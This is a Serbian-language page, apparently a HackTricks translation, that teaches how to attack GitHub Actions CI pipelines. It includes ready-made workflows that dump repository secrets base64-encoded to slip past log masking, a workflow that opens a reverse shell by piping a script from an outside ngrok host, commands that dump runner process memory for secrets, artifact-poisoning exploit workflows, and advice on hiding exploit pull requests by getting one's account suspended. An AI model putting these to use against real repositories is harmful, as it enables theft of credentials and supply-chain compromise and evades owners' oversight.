Abusing Github Actions

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Na ovoj stranici ćete pronaći:

  • Rezime svih uticaja koje napadač može imati ako pristupi Github akciji

  • Različite načine za pristup akciji:

  • Imajući dozvole za kreiranje akcije

  • Zloupotreba okidača vezanih za pull request

  • Zloupotreba drugih spoljnih pristupačnih tehnika

  • Pivotiranje iz već kompromitovanog repozitorijuma

  • Na kraju, odeljak o tehnikama post-eksploatacije za zloupotrebu akcije iznutra (uzrokujući pomenute uticaje)

Rezime uticaja

Za uvod o Github akcijama proverite osnovne informacije.

U slučaju da možete izvršiti proizvoljne Github akcije/ubaciti kod u repozitorijum, možete:

  • Ukrasti tajne iz tog repozitorijuma/organizacije.

  • Ako možete samo ubaciti, možete ukrasti sve što već postoji u radnom toku.

  • Zloupotrebiti privilegije repozitorijuma da pristupite drugim platformama poput AWS-a i GCP-a.

  • Izvršiti kod u prilagođenim radnicima (ako se koriste prilagođeni radnici) i pokušati pivotirati odande.

  • Prepisati kod repozitorijuma.

  • Ovo zavisi od privilegija GITHUB_TOKEN-a (ako ih ima).

  • Kompromitovati implementacije i druge artefakte.

  • Ako kod implementira ili čuva nešto, možete to izmeniti i dobiti dodatni pristup.

GITHUB_TOKEN

Ovaj "tajni" token (dolazi od ${{ secrets.GITHUB_TOKEN }} i ${{ github.token }}) dodeljuje se kada administrator omogući ovu opciju:

Ovaj token je isti onaj koji će koristiti Github aplikacija, tako da može pristupiti istim endpointima: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github bi trebao da objavi tok koji omogućava pristup preko repozitorijuma unutar GitHub-a, tako da repozitorijum može pristupiti drugim internim repozitorijumima koristeći GITHUB_TOKEN.

Možete videti moguće dozvole ovog tokena na: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Imajte na umu da token ističe nakon završetka posla. Ovi tokeni izgledaju ovako: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Neki zanimljivi stvari koje možete uraditi sa ovim tokenom:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Imajte na umu da ćete u nekoliko situacija moći pronaći github korisničke tokene unutar Github Actions envs ili u tajnama. Ovi tokeni vam mogu pružiti više privilegija nad repozitorijumom i organizacijom.

Lista tajni u Github Action output-u

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Get obrnuti shell pomoću tajni

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika proverom logova akcija:

Dozvoljena Izvršenja

Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup kreiranju novog repozitorijuma u organizaciji, ili imate privilegije pisanja nad repozitorijumom.

Ako se nalazite u ovom scenariju, možete proveriti tehnike post eksploatacije.

Izvršenje iz Kreiranja Repozitorijuma

U slučaju da članovi organizacije mogu kreirati nove repozitorijume i možete izvršavati github akcije, možete kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije.

Izvršenje iz Nove Grane

Ako možete kreirati novu granu u repozitorijumu koji već sadrži konfigurisanu Github akciju, možete je modifikovati, uploadovati sadržaj, a zatim izvršiti tu akciju iz nove grane. Na ovaj način možete eksfiltrirati tajne na nivou repozitorijuma i organizacije (ali morate znati kako se zovu).

Možete napraviti modifikovanu akciju izvršivom ručno, kada se napravi PR ili kada se neki kod push-uje (zavisno od toga koliko želite da budete primetni):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Izvršenje preko Fork-a

Postoje različiti okidači koji bi mogli omogućiti napadaču da izvrši Github akciju druge repozitorijume. Ako su ove akcije koje se mogu okinuti loše konfigurisane, napadač bi mogao da ih kompromituje.

pull_request

Okidač radnog toka pull_request će izvršiti radni tok svaki put kada se primi zahtev za povlačenje sa nekim izuzecima: podrazumevano, ako je to prvi put da sarađujete, neki održavač će morati da odobri pokretanje radnog toka:

Kako je podrazumevano ograničenje za prvi put saradnici, možete doprineti ispravkom validnog baga/greške a zatim poslati druge PR-ove da zloupotrebite svoje nove pull_request privilegije.

Testirao sam ovo i ne radi: Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.

Osim toga, podrazumevano sprečava dozvole za pisanje i pristup tajnama ciljnom repozitorijumu kako je navedeno u dokumentaciji:

Izuzimajući GITHUB_TOKEN, tajne se ne prosleđuju izvršaču kada se radni tok pokrene iz forkovanog repozitorijuma. GITHUB_TOKEN ima dozvole samo za čitanje u zahtevima za povlačenje iz forkovanih repozitorijuma.

Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.

Da, ako napadač promeni u PR-u github akciju koja će biti okinuta, njegova Github akcija će biti korišćena umesto one iz originalnog repozitorijuma!

Pošto napadač takođe kontroliše izvršeni kod, čak i ako nema tajni ili dozvola za pisanje na GITHUB_TOKEN, napadač bi na primer mogao da učita zlonamerne artefakte.

pull_request_target

Okidač radnog toka pull_request_target ima dozvolu za pisanje u ciljnom repozitorijumu i pristup tajnama (i ne traži dozvolu).

Imajte na umu da okidač radnog toka pull_request_target radi u osnovnom kontekstu a ne u onom datom od strane PR-a (da ne bi izvršavao nepoverljiv kod). Za više informacija o pull_request_target proverite dokumentaciju. Osim toga, za više informacija o ovom specifično opasnom korišćenju proverite ovaj github blog post.

Možda izgleda da je zato što se izvršava radni tok definisan u osnovnom a ne u PR-u, sigurno koristiti pull_request_target, ali postoje slučajevi kada nije.

I ovaj će imati pristup tajnama.

workflow_run

Okidač workflow_run omogućava pokretanje radnog toka iz drugog kada je završen, zatražen ili u toku.

U ovom primeru, radni tok je konfigurisan da se pokrene nakon što zaseban radni tok "Pokreni testove" završi:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Osim toga, prema dokumentaciji: Radni tok pokrenut događajem workflow_run može pristupiti tajnama i pisati tokenima, čak i ako prethodni radni tok to nije uradio.

Ovaj tip radnog toka može biti napadnut ako zavisi od radnog toka koji može biti pokrenut od strane spoljnog korisnika putem pull_request ili pull_request_target. Par ranjivih primera može se pronaći u ovom blogu. Prvi primer podrazumeva da workflow_run pokrenuti radni tok preuzima napadačev kod: ${{ github.event.pull_request.head.sha }} Drugi primer podrazumeva prosljeđivanje artefakta iz nepoverljivog koda u workflow_run radni tok i korišćenje sadržaja ovog artefakta na način koji ga čini ranjivim na RCE.

workflow_call

TODO

TODO: Proveriti da li kada se izvršava iz pull_request koda koji se koristi/preuzima dolazi iz originala ili iz forkovanog PR-a

Zloupotreba Forkovanog Izvršenja

Naveli smo sve načine na koje spoljni napadač može naterati github radni tok da se izvrši, sada pogledajmo kako ova izvršenja, ako su loše konfigurisana, mogu biti zloupotrebljena:

Izvršenje nepoverljivog čekauta

U slučaju pull_request, radni tok će biti izvršen u kontekstu PR-a (tako da će izvršiti zlonameran kod PR-ova), ali neko mora autorizovati prvo i izvršavaće se sa nekim ograničenjima.

U slučaju radnog toka koji koristi pull_request_target ili workflow_run koji zavisi od radnog toka koji može biti pokrenut iz pull_request_target ili pull_request koda iz originalnog repozitorijuma će biti izvršen, tako da napadač ne može kontrolisati izvršeni kod.

Međutim, ako akcija ima eksplicitan PR čekaut koji će preuzeti kod iz PR-a (a ne iz baze), koristiće se kod koji kontroliše napadač. Na primer (proverite liniju 12 gde je preuzet PR kod):

# NESIGURNO. Dato samo kao primer.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencijalno nepoverljiv kod se izvršava tokom npm install ili npm build jer su skripte za izgradnju i referencirani paketi kontrolisani od strane autora PR-a.

Github dork za pretragu ranjivih akcija je: event.pull_request pull_request_target extension:yml međutim, postoje različiti načini konfigurisanja poslova da se izvrše sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslova o tome ko je akter koji generiše PR).

Umetanja Skriptova u Kontekst

Imajte na umu da postoje određeni github konteksti čije vrednosti kontroliše korisnik koji kreira PR. Ako github akcija koristi te podatke za izvršavanje bilo čega, to može dovesti do izvršavanja proizvoljnog koda:

pageGh Actions - Context Script Injections

GITHUB_ENV Umetanje Skriptova

Prema dokumentaciji: Možete omogućiti promenljivu okruženja dostupnu za sve naredne korake u radnom toku definisanjem ili ažuriranjem promenljive okruženja i upisivanjem u datoteku okruženja GITHUB_ENV.

Ako napadač može umetnuti bilo koju vrednost unutar ove env promenljive, može umetnuti env promenljive koje mogu izvršiti kod u sledećim koracima kao što su LD_PRELOAD ili NODE_OPTIONS.

Na primer (ovde i ovde), zamislite radni tok koji veruje učitanom artefaktu da sačuva njegov sadržaj unutar GITHUB_ENV env promenljive. Napadač bi mogao učitati nešto poput ovoga da ga kompromituje:

Ranjive Github Akcije Trećih Strana

Kao što je pomenuto u ovom blog postu, ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova čak i repozitorijuma.

Problem je u tome što ako parametar path nije postavljen, artefakt se izvlači u trenutni direktorijum i može prebrisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je Artefakt ranjiv, napadač bi mogao iskoristiti ovo da kompromituje druge radne tokove koji veruju Artefaktu.

Primer ranjivog radnog toka:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Ovo bi moglo biti napadnuto ovim radnim tokom:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Ostali spoljni pristupi

Zloupotreba Obrisane Namespace Repozitorijume

Ako korisnički nalog promeni ime, drugi korisnik može registrovati nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao manje od 100 zvezdica pre promene imena, Github će dozvoliti novom registrovanom korisniku sa istim imenom da kreira repozitorijum sa istim imenom kao onaj koji je obrisan.

Dakle, ako akcija koristi repozitorijum sa ne-postojećeg naloga, i dalje je moguće da napadač može kreirati taj nalog i kompromitovati akciju.

Ako su drugi repozitorijumi koristili zavisnosti iz ovih korisničkih repozitorijuma, napadač će moći da ih preuzme. Ovde imate detaljnije objašnjenje: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Pivoting Repozitorijuma

U ovoj sekciji ćemo govoriti o tehnikama koje bi omogućile prelazak sa jednog repozitorijuma na drugi pretpostavljajući da imamo neku vrstu pristupa prvom (proverite prethodnu sekciju).

Trovanje Keša

Keš se održava između pokretanja radnih tokova na istoj grani. To znači da ako napadač kompromituje paket koji se zatim čuva u kešu i preuzme i izvrši ga neki privilegovani radni tok, moći će takođe da kompromituje i taj radni tok.

pageGH Actions - Cache Poisoning

Trovanje Artefaktima

Radni tokovi mogu koristiti artefakte iz drugih radnih tokova i čak repozitorijuma, ako napadač uspe da kompromituje Github akciju koja uploaduje artefakt koji kasnije koristi drugi radni tok, može kompromitovati druge radne tokove:

pageGh Actions - Artifact Poisoning

Post Eksploatacija iz Akcije

Pristup AWS i GCP putem OIDC

Proverite sledeće stranice:

pageAWS - Federation AbusepageGCP - Federation Abuse

Pristupanje tajnama

Ako ubacujete sadržaj u skriptu, korisno je znati kako možete pristupiti tajnama:

  • Ako je tajna ili token postavljen kao promenljiva okruženja, može se direktno pristupiti kroz okruženje koristeći printenv.

Izlistaj tajne u izlazu Github akcije

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Get obrnuti shell pomoću tajni</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ako se tajna koristi direktno u izrazu, generisani shell skript je smešten na disku i pristupačan je.

cat /home/runner/work/_temp/*

* Za JavaScript akcije tajne se šalju putem okruženjskih promenljivih
* ```bash
ps axe | grep node
  • Za prilagođenu akciju, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz argumenta:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Zloupotreba Samostalnih runnera

Način da se otkrije koje Github akcije se izvršavaju na infrastrukturi koja nije Github je pretraga za runs-on: self-hosted u konfiguraciji yaml Github akcije.

Samostalni runneri mogu imati pristup dodatno osetljivim informacijama, drugim mrežnim sistemima (ranjivim krajnjim tačkama u mreži? servisima metapodataka?) ili, čak i ako je izolovan i uništen, više akcija može se izvršavati istovremeno i zlonamerna akcija bi mogla ukrasti tajne druge akcije.

Na samostalnim runnerima takođe je moguće dobiti tajne iz _Runner.Listener_** procesa** koji će sadržati sve tajne radnih tokova u bilo kom koraku tako što će isprazniti svoju memoriju:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Proverite ovaj post za više informacija.

Github Docker Images Registry

Moguće je napraviti Github akcije koje će izgraditi i sačuvati Docker sliku unutar Github-a. Primer možete pronaći u sledećem proširivom:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Kao što ste mogli videti u prethodnom kodu, Github registar je smešten na **`ghcr.io`**.

Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker Image koristeći lični pristupni token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Zatim, korisnik može pretraživati procurene tajne u slojevima Docker slike:

Osetljive informacije u zapisima Github akcija

Čak i ako Github pokušava da detektuje tajne vrednosti u zapisima akcija i izbegne njihovo prikazivanje, druge osetljive podatke koji su mogli biti generisani prilikom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije posebno konfigurisan.

Pokrivanje tragova

(Tehnika sa ovde) Prvo, svaki podneseni PR je jasno vidljiv javnosti na Githubu i ciljnom GitHub nalogu. Na GitHubu podrazumevano, ne možemo obrisati PR sa interneta, ali postoji preokret. Za Github naloge koji su suspendovani od strane Githuba, svi njihovi PR-ovi automatski se brišu i uklanjaju sa interneta. Dakle, kako biste sakrili svoju aktivnost, morate ili dobiti suspendovan GitHub nalog ili označiti svoj nalog. To bi sakrilo sve vaše aktivnosti na GitHubu sa interneta (u osnovi uklonilo sve vaše eksploatacije PR-ove)

Organizacija na GitHubu je veoma proaktivna u prijavljivanju naloga GitHubu. Sve što treba da uradite je da podelite "neke stvari" u Problemu i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoju eksploataciju nevidljivom na githubu.

Jedini način za organizaciju da shvati da su bili meta je da provere GitHub logove iz SIEM-a jer sa GitHub UI PR bi bio uklonjen.

Alati

Sledeći alati su korisni za pronalaženje Github akcija i čak pronalaženje ranjivih:

Last updated